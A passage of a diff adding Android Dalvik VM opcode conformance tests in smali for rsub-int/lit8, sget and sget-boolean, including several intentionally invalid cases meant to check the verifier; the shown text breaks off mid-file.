+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali
new file mode 100644
index 0000000..029f328
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali

@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_1.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+.field protected static p1:I
+.field private static pvt1:I
+
+.method static constructor <clinit>()V
+.registers 1
+       const/4 v0, 5
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->i1:I
+
+       const/16 v0, 10
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->p1:I
+
+       const/16 v0, 20
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->pvt1:I
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->i1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali
new file mode 100644
index 0000000..fb4cdd5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_11.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_11;
+.super  Ldot/junit/opcodes/sget/d/T_sget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget/d/T_sget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->p1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali
new file mode 100644
index 0000000..3382f21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_12.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_12;
+.super  Ldot/junit/opcodes/sget/d/T_sget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget/d/T_sget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->pvt1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali
new file mode 100644
index 0000000..aa7a40c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_13.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_13;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali
new file mode 100644
index 0000000..7561691
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_15.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali
new file mode 100644
index 0000000..a006d32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_16.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_16;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali
new file mode 100644
index 0000000..380468e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_17.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_17;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali
new file mode 100644
index 0000000..761aaed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_18.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_18;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali
new file mode 100644
index 0000000..5ec52d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_19.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali
new file mode 100644
index 0000000..afbdf2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_20.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali
new file mode 100644
index 0000000..aeb66d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_3.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v3, Ldot/junit/opcodes/sget/d/T_sget_3;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali
new file mode 100644
index 0000000..dad925f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_4.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_4;->i1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali
new file mode 100644
index 0000000..798176d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_5.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_5;
+.super  Ljava/lang/Object;
+
+.field public i1:I
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 5
+       iput v2, v3, Ldot/junit/opcodes/sget/d/T_sget_5;->i1:I
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_5;->i1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali
new file mode 100644
index 0000000..922ba08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_6.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/TestStubs;->TestStubField:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali
new file mode 100644
index 0000000..5cdbf94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_7.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_7no_class;->i1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali
new file mode 100644
index 0000000..17c433f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_8.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_8;->i1N:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali
new file mode 100644
index 0000000..82e34ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali

@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_1.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+.field protected static p1:Z
+.field private static pvt1:Z
+
+.method static constructor <clinit>()V
+.registers 1
+       const/4 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->i1:Z
+
+       const/16 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->p1:Z
+
+       const/16 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->pvt1:Z
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali
new file mode 100644
index 0000000..7b258fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_11.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_11;
+.super  Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->p1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali
new file mode 100644
index 0000000..b85638a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_12.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_12;
+.super  Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->pvt1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali
new file mode 100644
index 0000000..6645b10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_13.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_13;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali
new file mode 100644
index 0000000..2857420
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_15.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali
new file mode 100644
index 0000000..e5f626b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_16.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
